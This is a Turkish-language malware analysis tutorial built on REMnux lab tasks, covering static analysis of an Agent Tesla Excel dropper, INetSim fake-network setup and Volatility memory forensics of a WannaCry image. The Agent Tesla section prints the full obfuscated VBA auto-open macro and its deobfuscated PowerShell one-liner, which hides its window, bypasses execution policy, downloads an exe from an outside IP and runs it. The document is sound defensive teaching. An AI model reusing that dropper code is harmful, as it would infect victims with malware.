

REMnux'a BAŞLANGIÇ

[Kaynak](#)

İÇERİK

1. Agent Tesla OLE2 Dosyası Statik Analizi ve VBA Macro İncelemesi
2. REMnux: INetSim ile Dinamik Analiz İçin Sahte Ağ (Fake Network) Altyapısı Kurulumu
3. Bellek Araştırması: Kanıtların Ön İşleme Aşaması (WannaCry Bellek Analizi)

Agent Tesla OLE2 Dosyası Statik Analizi ve VBA Macro İncelemesi

Bu analizde, potansiyel olarak zararlı bir Excel belgesi üzerinde statik analiz gerçekleştirmek için **oledump.py** aracını kullanacağız. Analizin temel amacı, dosya içine gizlenmiş zararlı komut dosyalarını (script) tespit etmek, bu dosyaları dışa aktarmak, uygulanan **Obfuscation** (kod karmaşıkleştirme - analizden kaçmak için kodun okunabilirliğini bozma) tekniklerini tersine çevirmek ve nihai **Payload** (zararlı yük - sisteme asıl hasarı veren veya arka kapı açan kod parçası) yapısını anlamaktır.

Hedef dosyamız: `/home/ubuntu/Desktop/tasks/agenttesla/agenttesla.xlsm`

OLE2 Formatı ve oledump.py Kavramsal Altyapısı

oledump.py, Microsoft tarafından geliştirilen tescilli bir teknoloji olan **OLE2** (Object Linking and Embedding - Nesne Bağlama ve Gömme) dosyalarını analiz etmek için kullanılan Python tabanlı bir araçtır. **OLE2** dosyaları (Compound File Binary Format olarak da bilinir), belgeler, elektronik tablolar ve sunumlar gibi birden çok veri türünü tek bir dosya içinde barındıran yapılandırılmış depolama birimleridir. Adli bilişim (forensics) ve zararlı yazılım (malware) analizinde, bu dosya formatının içindeki veri akışlarını (data streams) ayıklamak ve incelemek için **oledump.py** kritik bir rol oynar.

Aşama 1: Dosya Veri Akışlarının (Data Streams) Numaralandırılması

Statik analizin ilk adımı, dosyanın yapısını ve içindeki potansiyel tehlikeleri haritalandırmaktır. **oledump.py** aracını hedef dosyamız üzerinde herhangi bir ek parametre olmadan çalıştırarak dosyanın içindeki veri akışlarını listeliyoruz.

```
ubuntu@10.112.177.184:~/Desktop/tasks/agenttesla$ oledump.py agenttesla.xlsm
```

```
A: xl/vbaProject.bin
A1:      468 'PROJECT'
```

```
A2:          62 'PROJECTwm'  
A3: m       169 'VBA/Sheet1'  
A4: M       688 'VBA/ThisWorkbook'  
A5:          7 'VBA/_VBA_PROJECT'  
A6:        209 'VBA/dir'
```

Bu çıktıyı satır satır yorumlamak hayati önem taşır: Çıktıdaki **A** harfi, Oledump'ın bu belge içinde **xl/vbaProject.bin** altında gömülü bir VBA (Visual Basic for Applications) scripti bulunduğunu ve bu ana dizine **A** indeksini atadığını gösterir. **A1** , **A2** şeklindeki yapılar ise alt veri akışlarıdır (data streams).

ÖNEMLİ: Burada dikkat etmemiz gereken en kritik detay **A4** satırındaki büyük **M** harfidir. Küçük **m** , veri akışında kodsuz bir modül olduğunu veya makronun boş olduğunu belirtebilirken; büyük **M** harfi, o veri akışının içinde kesinlikle yürütülebilir bir **Macro** (otomatikleştirilmiş komut dizisi) bulunduğunu kanıtlar. Bu nedenle tüm odağımızı **'VBA/ThisWorkbook'** isimli 4 numaralı veri akışına yönlendirmeliyiz.

Aşama 2: Makro Veri Akışının Çıkarılması

İçinde zararlı kod barındırdığından şüphelendiğimiz 4 numaralı veri akışının içeriğini doğrudan okumak için oledump aracına spesifik bir hedef gösteriyoruz.

```
ubuntu@10.112.177.184:~/Desktop/tasks/agenttesla$ oledump.py agenttesla.xlsm  
-s 4
```

Burada kullandığımız **-s 4** parametresindeki **-s** , **-select** (seç) anlamına gelir. Hedefimiz 4. sıradaki (**A4: M 688 'VBA/ThisWorkbook'**) makro akışıdır.

```
00000000: 01 AC B2 00 41 74 74 72 69 62 75 74 00 65 20 56 ....Attribut.e V  
00000010: 42 5F 4E 61 6D 00 65 20 3D 20 22 54 68 69 00 73 B_Nam.e = "Thi.s  
00000020: 57 6F 72 6B 62 6F 6F 10 6B 22 0D 0A 0A 8C 42 61 Workboo.k"....Ba  
...  
00000100: 07 0A 45 78 65 63 07 0C 0D 06 0A 04 2B 00 BD 5E ..Exec.....+..^  
00000110: 70 2A 6F 5E 00 2A 77 2A 65 2A 72 2A 73 10 5E 5E p*o^.*w*e*r*s.^  
00000120: 2A 68 80 04 6C 5E 2A 00 6C 2A 20 2A 5E 2D 2A 57 *h..l^*.l* ^^-*W  
...  
000002A0: 3D C7 03 2E 01 04 C4 18 C0 0A 08 45 6E 64 81 A3 =.....End..
```

Bu çıktı standart bir Hex Dump (Onaltılık döküm) formatındadır. Sağ taraftaki ASCII karakter sütununda **p*o^.*w*e*r*s** gibi okunabilir parçalar görsek de, bu format üzerinden sağlıklı bir statik analiz yapılamaz. VBA makroları genellikle OLE2 dosyaları içinde sıkıştırılmış olarak tutulur. Bu sıkıştırmayı açmamız gerekir.

Aşama 3: VBA Makrosunun Decompress (Sıkıştırmayı Açma) İşlemi

Oledump'ın yerleşik dekompresyon yeteneğini kullanarak Hex dump formatındaki karmaşık veriyi okunabilir VBA koduna çeviriyoruz.

```
ubuntu@10.112.177.184:~/Desktop/tasks/agenttesla$ oledump.py agenttesla.xlsm  
-s 4 --vbadecompress
```

Burada eklediğimiz `--vbadecompress` parametresi, oledump'ın hedeflenen veri akışındaki sıkıştırılmış VBA makrolarını otomatik olarak açmasını ve insan tarafından okunabilir bir formata dönüştürmesini sağlar.

```
Attribute VB_Name = "ThisWorkbook"  
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"  
Attribute VB_GlobalNameSpace = False  
Attribute VB_Creatable = False  
Attribute VB_PredeclaredId = True  
Attribute VB_Exposed = False  
Attribute VB_TemplateDerived = False  
Attribute VB_Customizable = True  
Private Sub Workbook_Open()  
Dim Sqtnew As String, sOutput As String  
Dim Mggcbnuad As Object, MggcbnuadExec As Object  
Sqtnew = "^p*o^*w*e*r*s^*h*e*l^*l* ^-~W*i*n^d*o*w^*S*t*y^*l*e*  
*h*i^d*d^*e*n^* *-e*x^*e*c*u*t^*i*o*n*p*o*l^i*c*y* *b*y*p^*a*s*s*;* $TempFile*  
** *[*I*O*.*P*a*t*h*]*.:GetTem*pFile*Name() | Ren^ame-It^em -NewName { $_ -  
replace 'tmp$', 'exe' } Pass*Thru; In^vo*ke-We^bRe*quest -U^ri  
""http://193.203.203.67/rt/Doc-3737122pdf.exe"" -Out*File $TempFile; St*art-  
Proce*ss $TempFile;"  
Sqtnew = Replace(Sqtnew, "*", "")  
Sqtnew = Replace(Sqtnew, "^", "")  
Set Mggcbnuad = CreateObject("WScript.Shell")  
Set MggcbnuadExec = Mggcbnuad.Exec(Sqtnew)
```

Bu VBA kod bloğunun arka plandaki mantığını incelediğimizde:

1. `Private Sub Workbook_Open()` : Bu fonksiyon, kurban Excel belgesini açtığı anda makronun kullanıcı etkileşimi olmadan otomatik olarak tetikleneceğini gösterir.
2. Zararlı, **Sqtnew** adında bir değişken oluşturmuş ve içine yoğun bir şekilde `^` ve `*` karakterleriyle kirlenmiş (obfuscated) bir komut satırı atamıştır. Buradaki amaç, basit imza tabanlı (signature-based) antivirüs taramalarını atlatmaktır.
3. Hemen altında yatan `Replace(Sqtnew, "*", "")` ve `Replace(Sqtnew, "^", "")` komutları, kod çalışma zamanında (runtime) bu gereksiz karakterleri boşlukla (hiçlikle) değiştirerek asıl zararlı komutu çalışma anında birleştirir.
4. Son olarak `CreateObject("WScript.Shell")` ve `.Exec(Sqtnew)` ile oluşturulan temizlenmiş komut doğrudan işletim sisteminin komut satırına gönderilerek çalıştırılır.

Aşama 4: Statik Deobfuscation (CyberChef ile Temizleme)

Zararlı yazılım analizinde, zararlının kendisini nasıl temizlediğini (deobfuscate ettiğini) bulduysak, bu işlemi zararlıyı çalıştırmadan güvenli bir ortamda statik olarak taklit etmeliyiz. VBA scriptinin yaptığı Replace işlemini **CyberChef** (veri dönüştürme ve analiz aracı) kullanarak gerçekleştireceğiz.

\$qtnew değişkeninin içindeki karmaşık metni CyberChef'e kopyalıyoruz. VBA scriptinin mantığını birebir taklit etmek için arka arkaya iki adet **Find/Replace** (Bul ve Değiştir) operasyonu ekliyoruz:

1. İlk operasyonda: Bulunacak değer `*`, Tür: `Simple String`, Değiştirilecek Değer: (Boş bırakılır).
2. İkinci operasyonda: Bulunacak değer `^`, Tür: `Simple String`, Değiştirilecek Değer: (Boş bırakılır).

Bu işlem sonucunda elde ettiğimiz temiz (Deobfuscated) komut aşağıdaki gibidir.

Aşama 5: Nihai Payload (PowerShell) Analizi

CyberChef üzerinden temizlenerek elde edilen zararlı PowerShell komut dizisi:

```
powershell -WindowStyle hidden -executionpolicy bypass; $TempFile = [IO.Path]::GetTempFileName() | Rename-Item -NewName { $_ -replace 'tmp$', 'exe' } PassThru; Invoke-WebRequest -Uri "http://193.203.203.67/rt/Doc-3737122pdf.exe" -OutFile $TempFile; Start-Process $TempFile;
```

Bu tek satırlık zararlı zinciri (attack chain) parça parça bölersek:

- `powershell` : Windows'un güçlü komut satırı aracı çağrılır.
- `-WindowStyle hidden` : Komut penceresi kurbandan gizlenir. Kurban arka planda bir şeyler çalıştığını görsel olarak fark etmez (Stealth).
- `-executionpolicy bypass` : **DİKKAT:** PowerShell güvenlik politikası gereği varsayılan olarak script çalıştırılmasını kısıtlar. `bypass` parametresi kullanılarak mevcut kullanıcı veya makine politikaları yoksayılır ve zararlı kod kısıtlama olmadan çalıştırılır.
- `$TempFile = [IO.Path]::GetTempFileName() | Rename-Item -NewName { $_ -replace 'tmp$', 'exe' } PassThru;` : Sistemde geçici bir dosya oluşturulur ve uzantısı `.tmp`'den yürütülebilir bir dosya formatı olan `.exe`'ye dönüştürülerek `$TempFile` değişkenine atanır.
- `Invoke-WebRequest -Uri "http://193.203.203.67/rt/Doc-3737122pdf.exe" -OutFile $TempFile;` : Tehdit aktörünün sunucusundan (C2 veya Drop server) asıl zararlı yazılım (Agent Tesla ikili dosyası) HTTP üzerinden indirilir ve az önce oluşturulan sahte geçici dosyaya (`$TempFile`) yazılır. İsmnin `pdf.exe` olması, çift uzantı kullanarak kurbanı yanıltmaya yönelik bir Sosyal Mühendislik (Social Engineering) hilesidir.
- `Start-Process $TempFile;` : İndirme tamamlandıktan sonra, diske yazılan zararlı `.exe` dosyası doğrudan işletim sistemi üzerinde çalıştırılır.

Mantıksal Sonuç: İncelediğimiz **agenttesla.xlsm** dosyası aslında asıl zararlı yazılım değildir. Bu bir **Dropper/Downloader** (Bırakıcı/İndirici) dosyasıdır. Kurban Excel'i açtığı anda makro tetiklenir, obfuscated PowerShell komutunu çözer, arkaplanda gizlice internete çıkarak **193.203.203.67** adresinden asıl Agent Tesla zararlısını indirir ve sistemi enfekte etmek için çalıştırır. Güvenlik analizlerinde OLE2 belgelerinin bu davranış serisine Erken Aşama Enfeksiyonu (Initial Access/Execution) denir.

REMnux: INetSim ile Dinamik Analiz İçin Sahte Ağ (Fake Network) Altyapısı Kurulumu

Dynamic Analysis (Dinamik Analiz - şüpheli veya kötü amaçlı yazılımların kontrollü bir ortamda çalıştırılarak anlık ağ, dosya sistemi ve bellek davranışlarının izlenmesi süreci) esnasında, zararlı yazılımın dış dünyayla (C2 - Command & Control sunucuları vb.) nasıl iletişim kurduğunu gözlemlemek kritik bir adımdır. Zararlı yazılımı gerçek internete çıkarmak son derece tehlikeli olacağından, laboratuvar ortamında interneti simüle etmemiz gerekir.

Bu noktada REMnux sanal makinemiz (VM) içerisinde bulunan **INetSim (Internet Services Simulation Suite)** aracını kullanıyoruz. INetSim, DNS, HTTP, HTTPS, FTP gibi temel internet servislerini taklit ederek zararlı yazılımı "gerçek bir internet bağlantısı olduğuna" inandırır ve tüm ağ isteklerini kendi üzerine çekerek (sinkhole) loglar.

Bu çalışmada, REMnux makinemizi bir sahte internet sunucusu olarak yapılandıracak ve **AttackBox** (saldırı/test makinesi) üzerinden sanki bir zararlı yazılımı gibi bu sahte ağa bağlanıp payload (zararlı yük) indirme davranışlarını simüle edeceğiz.

1. INetSim Ağ Yapılandırması ve Hazırlık

INetSim'in zararlı yazılımdan gelen tüm DNS sorgularına "istediğin adres benim" (kendi IP'miz) cevabını verebilmesi için öncelikle REMnux makinemizin IP adresini tespit etmeli ve INetSim konfigürasyonuna bu IP'yi tanımlamalıyız.

Öncelikle arayüzdeki IP adresimizi öğreniyoruz:

```
ubuntu@10.112.177.184:~$ ifconfig
```

Çıktı Yorumu: Terminal satır başından da (prompt) anlaşıldığı üzere (veya `ifconfig` çıktısından) REMnux makinemizin IP adresi **10.112.177.184** olarak belirlenmiştir. Zararlı yazılım herhangi bir alan adına (domain) gitmek istediğinde, DNS sunucusu olarak davranacak olan INetSim, trafiği bu IP'ye yönlendirecektir.

Şimdi INetSim'in ana yapılandırma dosyasını düzenleyerek bu yönlendirmeyi kalıcı hale getiriyoruz:

```
ubuntu@10.112.177.184:~$ sudo nano /etc/inetsim/inetsim.conf
```

Komutun Mantığı: `sudo` ile root yetkilerini alıyoruz çünkü `/etc` dizinindeki sistem genelini etkileyen yapılandırma dosyalarını değiştireceğiz. Dosya içerisinde `dns_default_ip` (DNS sorgularında döndürülecek varsayılan IP adresi) parametresini bulmamız gerekiyor.

Yapılandırma dosyasında bulunması ve değiştirilmesi gereken bölüm:

```
#####  
# dns_default_ip  
#  
# Default IP address to return with DNS replies  
#  
# Syntax: dns_default_ip <IP address>  
#  
# Default: 127.0.0.1  
#  
#dns_default_ip 0.0.0.0
```

ÖNEMLİ: Buradaki `#` (yorum/comment) işaretini kaldırarak parametreyi aktif hale getiriyoruz ve `0.0.0.0` değerini, makinemizin IP adresi olan **10.112.177.184** ile değiştiriyoruz. İşlemi tamamladıktan sonra `CTRL + O` ile kaydedip, `CTRL + X` ile editörden çıkıyoruz.

B Planı: Eğer bu dosyayı düzenlerken hata yaparsak, INetSim kendi varsayılanı olan `127.0.0.1` (localhost) üzerinden cevap verecektir, bu da harici bir test makinesinin (AttackBox) sahte ağımıza ulaşamamasına ve DNS çözümlemesinin başarısız olmasına neden olur.

Yapılan değişikliğin doğruluğunu teyit etmek için dosyayı filtreleyerek okuyoruz:

```
ubuntu@10.112.177.184:~$ cat /etc/inetsim/inetsim.conf | grep dns_default_ip  
# dns_default_ip  
# Syntax: dns_default_ip <IP address>  
dns_default_ip 10.112.177.184
```

Komutun Mantığı: `cat` ile dosyanın tüm içeriği okunur, araya konulan `|` (pipe) operatörü ile bu çıktı `grep` aracına aktarılır. `grep` yalnızca içinde "dns_default_ip" geçen satırları ekrana basar. Çıktıda yapılandırmanın başarıyla **10.112.177.184** olarak ayarlandığını görüyoruz.

2. INetSim Servisinin Başlatılması ve Çıktı Analizi

Yapılandırma tamamlandıktan sonra simülasyonu başlatıyoruz.

```
ubuntu@10.112.177.184:~$ sudo inetsim
```

Komutun Mantığı: INetSim, 53 (DNS), 80 (HTTP), 443 (HTTPS) gibi 1024'ün altındaki "Privileged" (Ayrıcalıklı) portları dinleyeceği için kesinlikle `sudo` (root yetkisi) ile

çalıştırılmalıdır. Aksi takdirde "Permission denied" (Erişim engellendi) hatası olarak çökecektir.

INetSim Başlatma Çıktısının Satır Satır Analizi:

```
INetSim 1.3.2 (2020-05-19) by Matthias Eckert & Thomas Hungenberg
Using log directory:      /var/log/inetsim/
Using data directory:     /var/lib/inetsim/
Using report directory:   /var/log/inetsim/report/
Using configuration file: /etc/inetsim/inetsim.conf
```

Yukarıdaki blok, INetSim'in çalışırken hangi dizinleri kullandığını gösterir. Analiz sonrasında oluşturulacak raporlar için /var/log/inetsim/report/ dizinini hafızamıza kazımalıyız, zira dinamik analiz bulgularımız (IoC - Indicator of Compromise) bu dizindeki dosyalara yazılacaktır.

```
Parsing configuration file.
Warning: Unknown option
'/var/log/inetsim/report/report.104162.txt#start_service' in configuration
file '/etc/inetsim/inetsim.conf' line 43
Configuration file parsed successfully.
=== INetSim main process started (PID 4859) ===
Session ID:      4859
Listening on:    10.112.177.184
Real Date/Time:  2024-09-22 17:38:22
Fake Date/Time:  2024-09-22 17:38:22 (Delta: 0 seconds)
```

Burada bir sözdizimi uyarısı (Warning) alıyoruz ancak konfigürasyonun başarıyla ayrıştırıldığı (parsed successfully) belirtilmiş. Ana süreç **PID 4859** (Process ID) ile başlamış ve tam istediğimiz gibi **10.112.177.184** IP adresi üzerinde dinlemeye geçmiştir.

```
Forking services...
* dns_53_tcp_udp - started (PID 4863)
* http_80_tcp - failed!
* https_443_tcp - started (PID 4865)
* ftps_990_tcp - started (PID 4871)
...
done.
Simulation running.
```

Analitik Yorum: "Forking services" bölümünde INetSim'in taklit ettiği servisler ayağa kalkıyor. dns_53_tcp_udp ve https_443_tcp başarıyla başlarken, http_80_tcp - failed! hatası görüyoruz. *Neden failed?*

REMnux üzerinde genellikle 80 numaralı portu işgal eden başka bir web sunucusu (örneğin Nginx veya Apache) halihazırda çalışıyor olabilir. Bir port aynı anda iki farklı servis tarafından dinlenemez. Bu laboratuvar kapsamında HTTPS üzerinden ilerleyeceğimiz için bu hatayı göz

ardı edebiliriz. Eğer HTTP üzerinden bir malware analizi yapacak olsaydık, `netstat -tulnp | grep :80` komutuyla 80. portu hangi servisin tuttuğunu bulup o servisi `systemctl stop <servis_adi>` ile durdurmamız gerekirdi.

3. AttackBox Üzerinden Zararlı Yazılım Davranışının Simülasyonu

Bu aşamada AttackBox makinesine geçip, bir zararlı yazılımın 2. aşama (Stage-2) payload indirme (Dropper/Stager) veya C2 sunucusuyla iletişim kurma (Beaconing) davranışlarını manuel olarak taklit edeceğiz.

Tarayıcı üzerinden `https://10.112.177.184` adresine gidildiğinde ortaya çıkan "Security Risk" (Güvenlik Riski) uyarısının teknik arka planı şudur: INetSim, HTTPS trafiğini simüle edebilmek için anlık olarak **Self-Signed (Kendinden İmzalı)** bir SSL/TLS sertifikası üretir. Tarayıcılar (ve işletim sistemleri), sertifika otoritesi (CA) tarafından imzalanmamış bu sertifikalara güvenmez. Gerçek dünyada zararlı yazılımlar genellikle sertifika geçerliliğini kontrol etmezler, bu yüzden iletişim sorunsuz devam eder.

Komut satırı üzerinden (CLI) bu iletişimi daha gerçekçi simüle edelim:

```
root@10.112.177.184:~# sudo wget https://10.112.177.184/second_payload.zip --no-check-certificate
```

Parametre Analizi:

- `wget` : Ağ üzerinden dosya indirmeye yarayan temel araç. Zararlı yazılımların dropper türevleri sıklıkla `wget`, `curl`, `certutil` veya PowerShell'in `Invoke-WebRequest` metodunu kullanır.
- `https://10.112.177.184/second_payload.zip` : Gidilecek sahte C2 adresi ve indirilmek istenen hayali dosya.
- `--no-check-certificate` : **DİKKAT:** Bu parametre kritik bir atlatma (bypass) mekanizmasıdır. Wget aracı normal şartlarda INetSim'in sahte/kendinden imzalı sertifikasını gördüğünde güvenlik nedeniyle bağlantıyı reddeder. Bu parametre ile SSL sertifika doğrulamasını kasıtlı olarak devre dışı bırakıyoruz. (Eğer `curl` kullansaydık aynı etkiyi `-k` veya `--insecure` parametresi ile sağlardık).

Çıktı Analizi:

```
--2024-09-22 22:18:49-- https://10.112.177.184/second_payload.zip
Connecting to 10.112.177.184:443... connected.
WARNING: cannot verify 10.112.177.184's certificate, issued by
'CN=inetsim.org,OU=Internet Simulation services,O=INetSim':
Self-signed certificate encountered.
WARNING: certificate common name 'inetsim.org' doesn't match requested
host name 'MACHINE_IP'.
HTTP request sent, awaiting response... 200 OK
```



```
Length: 258 [text/html]
Saving to: 'second_payload.zip'
```

Loglardan anlaşıldığı üzere; 443 (HTTPS) portuna bağlantı sağlanmış, INetSim'in (CN=inetsim.org) sertifikası alınmış ancak doğrulama hatası alınarak yoksayılmış. Sunucu (INetSim) **200 OK** başarılı HTTP yanıt kodu dönmüş. İşin püf noktası burada: Biz .zip uzantılı bir dosya talep etmemize rağmen, INetSim bize 258 byte boyutunda [text/html] formatında sahte bir (dummy) dosya göndermiştir. INetSim'in çalışma mantığı budur; zararlı yazılım hangi formatı veya dosyayı isterse istesin, uygulamanın çökmesini veya hata vermesini engellemek için ona zararsız, küçük, kendi ürettiği sahte dosyaları döner.

Aynı mantıkla bir de PowerShell betiği indirmeyi simüle edelim:

```
sudo wget https://10.112.177.184/second_payload.ps1 --no-check-certificate
```

İndirilen bu dosyalar (örn: second_payload.ps1), açıldığında veya çalıştırıldığında gerçek zararlı kodlar yerine, bizi INetSim'in varsayılan HTML karşılama sayfasına yönlendiren sahte içerikler barındırır.

4. Bağlantı Raporlarının (Connection Report) İncelenmesi

Dinamik analiz işlemi bittikten sonra REMnux makinemize dönüp INetSim simülasyonunu durduruyoruz (CTRL + C). INetSim durdurulduğu anda, o oturuma ait tüm ağ hareketlerini kaydeden detaylı bir rapor oluşturur.

```
Report written to '/var/log/inetsim/report/report.2594.txt' (14 lines)
=== INetSim main process stopped (PID 2594) ===
```

ÖNEMLİ: Buradaki **2594** numarası oluşturulan Session (Oturum) veya PID ID'sidir. Analiz bittiğinde, zararlı yazılımın hangi adreslerle (IP, Domain, URL) iletişime geçtiğini görmek için bu rapora başvurulur.

Raporu okuyup inceleyelim:

```
ubuntu@10.112.177.184:~$ sudo cat /var/log/inetsim/report/report.2594.txt
```

Rapor Çıktısı ve Mantıksal Yorumlar:

```
=== Report for session '2594' ===
Real start date           : 2024-09-22 21:04:42
...
2024-09-22 21:04:53  HTTPS connection, method: GET, URL:
https://10.112.177.184/, file name:
/var/lib/inetsim/http/fakefiles/sample.html
2024-09-22 21:16:07  HTTPS connection, method: GET, URL:
```

```
https://10.112.177.184/test.exe, file name:  
/var/lib/inetsim/http/fakefiles/sample_gui.exe  
2024-09-22 21:18:37 HTTPS connection, method: GET, URL:  
https://10.112.177.184/second_payload.ps1, file name:  
/var/lib/inetsim/http/fakefiles/sample.html  
2024-09-22 21:18:49 HTTPS connection, method: GET, URL:  
https://10.112.177.184/second_payload.zip, file name:  
/var/lib/inetsim/http/fakefiles/sample.html
```

Teknik Çıkarımlar: Bu log dosyası, bir Blue Team (Mavi Takım) veya SOC Analisti için adeta bir altın madenidir.

- Metotlar:** Yapılan tüm isteklerin **GET** metoduyla yapıldığını görüyoruz. Zararlı yazılım karşı sunucudan veri çekmeye çalışmış (Dropper davranışı). Eğer bir **POST** metodu görseydik, zararlı yazılımın kurban makineden çaldığı verileri (Data Exfiltration) C2 sunucusuna aktarmaya çalıştığını anlardık.
- Hedef URL'ler:** Zararlı yazılımın (bizim simülasyonumuzda wget ile) hangi dosya yollarına erişmeye çalıştığı (/test.exe , /second_payload.ps1 , /second_payload.zip) net bir şekilde tespit edilmiştir. Bu URL'ler (veya simülasyon dışındaki gerçek alan adları) doğrudan Tehdit İstihbaratı (Threat Intelligence) platformlarına eklenecek ve ağ cihazlarında bloklanacak IoC (Indicator of Compromise) değerleridir.
- Fiziksel Dosya Karşılıkları (file name):** INetSim'in zekası bu sütunda ortaya çıkıyor. İstemci second_payload.zip talep ettiğinde INetSim ona kendi içerisindeki /var/lib/inetsim/http/fakefiles/sample.html dosyasını sunmuştur. İstemci bir çalıştırılabilir dosya (test.exe) talep ettiğinde ise ona sahte bir Windows yürütülebilir dosyası olan sample_gui.exe 'yi vermiştir. Böylece zararlı yazılımın dosya indirme doğrulama döngüleri (varsa) hata vermeden tamamlanmış ve analizin yarıda kesilmesi engellenmiştir.

Bellek Araştırması: Kanıtların Ön İşleme Aşaması (WannaCry Bellek Analizi)

Digital Forensics (Adli Bilişim) süreçlerinde, analiz edilecek kanıtın (bu senaryoda bir bellek imajı/memory dump) doğrudan manuel olarak incelenmesi yerine, otomatize araçlar yardımıyla içindeki tüm potansiyel **Artifacts** (Kalıntı/Eser) verisinin metin veya JSON formatına dönüştürülmesi işlemine **Preprocessing** (Ön İşleme) denir. Hedef, zamanın çok kritik olduğu bir siber olay müdahalesinde (DFIR), analistin devasa bellek havuzunda kaybolmak yerine doğrudan ayrıştırılmış loglar üzerinden **IoC** (Indicator of Compromise - İhlal Göstergesi) avına çıkmasını sağlamaktır.

Bu çalışmada, zararlı yazılım bulaşmış bir Windows sisteminden alınan `wcry.mem` bellek imajı üzerinde, standart ön işleme komutlarını, **Volatility 3** çerçevesinin (framework) Windows eklentilerini ve Linux `strings` aracının teknik derinliğini analiz edeceğiz.

Volatility 3: windows.pstree.PsTree - Ebeveyn-Çocuk Süreç İlişkisi

Zararlı yazılım analizinde ilk bakılacak yer sürecin (process) kim tarafından ve nasıl başlatıldığıdır. PsTree eklentisi, bellekteki süreçleri ebeveyn (PPID) ve çocuk (PID) kimlik numaralarına göre hiyerarşik bir ağaç yapısında listeler.

```
root@10.113.152.62:/home/ubuntu/Desktop/tasks/Wcry_memory_image$ vol3 -f  
wcry.mem windows.pstree.PsTree
```

Komut Analizi: * vol3 : Volatility 3 aracını çağırır.

- f wcry.mem : İncelenecek bellek imaj dosyasını (file) belirtir.
- windows.pstree.PsTree : Kullanılacak işletim sistemi ve eklentiyi belirler. Windows işletim sistemine ait süreç ağacı dökümünü talep ediyoruz.

PID	PPID	ImageFileName	Offset(V)	Threads	Handles	SessionId	Wc
1636	1608	explorer.exe	0x821d9da0	11	331	0	Fa
1956	1636	ctfmon.exe	0x82231da0	1	86	0	Fa
1940	1636	tasksche.exe	0x82218da0	7	51	0	Fa
740	1940	@WanaDecryptor@	0x81fde308	2	70	0	Fa

Çıktı ve Mantıksal Analiz: Yıldız (*) işaretleri iç içe geçme seviyesini gösterir. Orijinal Windows işlemlerinde explorer.exe (kullanıcı masaüstü arayüzü), meşru uygulamaları başlatır. Ancak burada **1636** ID'li explorer.exe 'nin, **1940** ID'li şüpheli bir tasksche.exe başlattığını görüyoruz. İşin asıl koptuğu nokta; bu tasksche.exe 'nin alt süreci olarak **740** PID numarasıyla doğrudan **@WanaDecryptor@** isimli (meşhur WannaCry fidye yazılımı) bir sürecin çalıştırılmış olmasıdır. Bu hiyerarşi bize zararlı yazılımın sisteme bir şekilde sızdığını ve zamanlanmış bir görev veya başka bir tetikleyici ile (tasksche.exe taklidiyle) fidye modülünü aktif ettiğini kanıtlar.

Volatility 3: windows.pslist.PsList - EPROCESS Bağlantılı Liste Analizi

PsList eklentisi, Windows çekirdeğinin (kernel) süreçleri takip etmek için kullandığı EPROCESS yapısındaki **ActiveProcessLinks** (Çift yönlü bağlı liste) pointer'larını takip ederek o an aktif olan tüm süreçleri listeler.

```
root@10.113.152.62:/home/ubuntu/Desktop/tasks/Wcry_memory_image$ vol3 -f
```

```
wcry.mem windows.pslist.PsList
```

PID	PPID	ImageFileName	Offset(V)	Threads	Handles	SessionId	Wc
1636	1608	explorer.exe	0x821d9da0	11	331	0	Fa
1940	1636	tasksche.exe	0x82218da0	7	51	0	Fa
740	1940	@WanaDecryptor@	0x81fde308	2	70	0	Fa

Çıktı ve Mantıksal Analiz: Burada `Offset(V)` değeri, ilgili sürecin sanal bellekteki başlangıç adresini gösterir (Örn: `0x81fde308`). İleri seviye bir analizde zararlının bellek alanını dışa aktarmak istersek bu adresi kullanırız. `CreateTime` sütunu, süreçlerin sırasıyla 21:22:10, 21:22:14 ve 21:22:22'de başlatıldığını gösteriyor; bu da saldırının veya bulaşmanın gerçekleştiği **Time-to-Compromise** aralığını net bir şekilde çizer.

ÖNEMLİ: `PsList` eklentisi meşru çekirdek API'lerini taklit eder. Eğer zararlı yazılım gelişmiş bir Rootkit (örn: DKOM - Direct Kernel Object Manipulation) içeriyorsa, kendini `ActiveProcessLinks` listesinden kopararak gizleyebilir. Bu durumda `PsList` kör kalır. İşte böyle durumlarda **B Planı** olarak, listeden silinmiş olsa dahi bellek havuzundaki `EPROCESS` kalıntılarını brute-force (kaba kuvvet) mantığıyla arayan `windows.psscan.PsScan` eklentisini kullanmalıyız.

Volatility 3: windows.cmdline.CmdLine - Süreç Başlatma Parametreleri

Zararlı bir sürecin adını bilmek yeterli değildir; o sürecin hangi parametrelerle, hangi dizinden ve hangi yetkilerle başlatıldığını bilmek zorundayız.

```
root@10.113.152.62:/home/ubuntu/Desktop/tasks/Wcry_memory_image$ vol3 -f  
wcry.mem windows.cmdline.CmdLine
```

PID	Process	Args
...		
1636	explorer.exe	C:\WINDOWS\Explorer.EXE
1940	tasksche.exe	"C:\Intel\ivecuqmanpnirkt615\tasksche.exe"
740	@WanaDecryptor@	@WanaDecryptor@.exe

Çıktı ve Mantıksal Analiz: Bu çıktı bir analist için kusursuz bir kanıttır. Meşru bir `taskeng.exe` veya zamanlanmış görev, `C:\Windows\System32\` dizininden çalışır. Ancak burada **1940** numaralı sürecin `C:\Intel\ivecuqmanpnirkt615\tasksche.exe` gibi tamamen rastgele oluşturulmuş (obfuscated/randomized) şüpheli bir dizinden çalıştığını görüyoruz.

Saldırgan, payload'ı gizlemek için meşru gibi görünen C:\Intel\ dizinin altına kendi rastgele klasörünü oluşturmuştur. Bu dizin yolu, derhal engellenmesi gereken kesin bir IoC'dir.

Volatility 3: windows.filescan.FileScan - Bellekteki Dosya Nesneleri

Sistem çalıştığı sürece diske yazılan, okunan veya arka planda işlem gören her dosyanın bellekte bir FILE_OBJECT karşılığı olur. FileScan , bellek havuzunu tarayarak bu nesneleri bulur. Fidyeye yazılımlarının şifrelediği veya oluşturduğu dosyaları bulmak için mükemmeldir.

```
root@10.113.152.62:/home/ubuntu/Desktop/tasks/Wcry_memory_image$ vol3 -f
wcry.mem windows.filescan.FileScan
```

(Çıktı çok uzun olduğu için analitik olarak en değerli kısımları inceliyoruz)

Offset	Name	Size
...		
0x1f7da18	\Documents and Settings\All Users\Application Data\Microsoft\User Account Pictures\Default Pictures\butterfly.bmp.WNCRY	112
0x1f871a0	\Intel\ivecuqmanpnirkt615\@WanaDecryptor@.exe	112
0x220ec40	\Intel\ivecuqmanpnirkt615\msg\m_turkish.wnry	112
0x2212028	\Intel\ivecuqmanpnirkt615\msg\m_russian.wnry	112
0x2256c88	\Intel\ivecuqmanpnirkt615\t.wnry	112
